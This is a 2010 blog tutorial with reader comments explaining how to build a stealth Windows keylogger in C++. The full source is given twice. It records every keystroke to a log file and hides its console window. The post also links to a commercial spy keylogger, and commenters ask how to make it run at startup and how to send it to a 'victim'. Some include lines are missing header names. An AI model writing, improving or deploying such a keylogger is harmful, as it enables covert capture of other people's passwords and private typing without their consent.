How To Make A Keylogger
February 21, 2010 by Ivan
Filed under Articles, C++, Programming
Wanna learn how to make your own keylogger ? Here is step by step tuorial that will help you to make a keylogger in C++ using dev-c++, it can also be done in codegear c++ builder, Visual studio and similar.
Keylogger is simple stealth software that sits between keyboard hardware and the operating system, so that it can record every key stroke
How to install DevC++ and run .cpp file
1) Download Dev C++ from this link and install it

2)Launch Dev C++ , Click on File-> New-> Project
3)Choose empty project, type name of project for example MyKeylogger and select C++ Project
4)Right click on project name and click New File,

after this will appear field where you should type code , to execute code click on Execute->Compile & Run or press F9
How To Make A Keylogger in Dev C++
Open Keylogger.cpp and Write this in it.
#include // These we need to
using namespace std; // include to get our
#include // Keylogger working.
#include
int Save (int key_stroke, char *file);
void Stealth(); //Declare Stealth.
Make a main function .(The main function will be the first that will be executed.)
int main()
{
Stealth(); // This will call the stealth function we will write later.
char i; //Here we declare 'i' from the type 'char'
while (1) // Here we say 'while (1)' execute the code. But 1 is always 1 so it will always execute.
{ // Note this is also the part that will increase your cpu usage
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt"); // This will send the value of 'i' and "LOG.txt" to our save function we will write later. (The reason why we declared it at the start of the program is because else the main function is above the save function so he wont recognize the save function. Same as with the stealth function.)
}
}
system ("PAUSE"); // Here we say that the system have to wait before exiting.
return 0;
}
Under that we will write our keylogger so it will also recognize special keys like the ’spacebar’ and stuff.
If you want to add some yourself here is a site where you can look up the ascii table. http://www.asciitable.com/
int Save (int key_stroke, char *file) // Here we define our save function that we declared before.
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8) // The numbers stands for the ascii value of a character
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); // This will print [BACKSPACE] when key 8 is pressed. All the code under this works the same.
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n"); // This will make a newline when the enter key is pressed.
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB) //VK stands for virtual key wich are the keys like Up arrow, down arrow..
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
Now we going to add Stealth to it.
Under the latest code add again
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
So thats it, you wrote your first keylogger
Full Code:
#include
using namespace std;
#include
#include
int Save (int key_stroke, char *file);
void Stealth();
int main()
{
Stealth();
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}
/* *********************************** */
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
/* *********************************** */
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
Here’s a video instructional if you find it easier to follow the steps this way:
Part 1:
Part 2:
Part 3:
Part 4:
Part 5:
The content in this article is presented for educational purposes only.
If you do not like programming below you can download one of the best keyloggers called EuroCron Spy
DOWNLOAD
Best of PC Hacks
- Best Free Antivirus Software
- Free Hacking Tools
- 42 Sites Where To Submit Your Tutorials
- Free Logo Generator
- How To Become The SYSTEM User In Windows XP
- Free Blackberry Software










carl on Sat, 27th Feb 2010 3:06 am
hey im trying to program everything using the instructional video and everything but i am getting errors i dont know why, because i am doing everything as it is shown.and any of the black screens that r suppose to appear to test the program dont show up..so let me know how u guys can help me. thanks…
Czecky on Mon, 1st Mar 2010 11:55 pm
I was able to work through it. A bit misleading, at first, as there are omits on the posted TEXT, but all is present in the video.
YOU GUYS ROCK – A great tutorial. I have some scripting knowledge, so was very interesting to ‘meet someone different’ in the world of programming.
I’ll look into the other services you offer here.
Again, a nice job.
Deicer on Mon, 8th Mar 2010 7:49 pm
Hey,
Great tutorial, Works perfectly. love it!!
But I was thinking, firstly it doesn’t start on startup which means that you have to manually open it. So for a person who actually wants to track key strokes, it’s not that effective.
Secondly all the key strokes are saved in the same file, making it a bit messy, it’d be nice if it could create a new file everyday, based on say the date. e.g 3/8/2010.TXT and then the next days file is 3/8/2010.
I’m working on these two things, but if you have any ideas or suggestions feel free to say it.
thanks again, great job!
Me on Wed, 17th Mar 2010 7:44 pm
Hello, i dont get this, if i wanna send this to my brother just to prank him, how do i do ? cus when you open it and then write something it just creates a file on the vicktims comp and i cant see anything, can you please help me ? =D
demongirl on Mon, 17th May 2010 7:58 am
Hey! I want to know more about C++ Programming.
That’s why please feature some more tutorial
vishal on Wed, 19th May 2010 6:38 pm
hey guys,can i get past days tutorials…..i m very curious to know c++,batch scripting.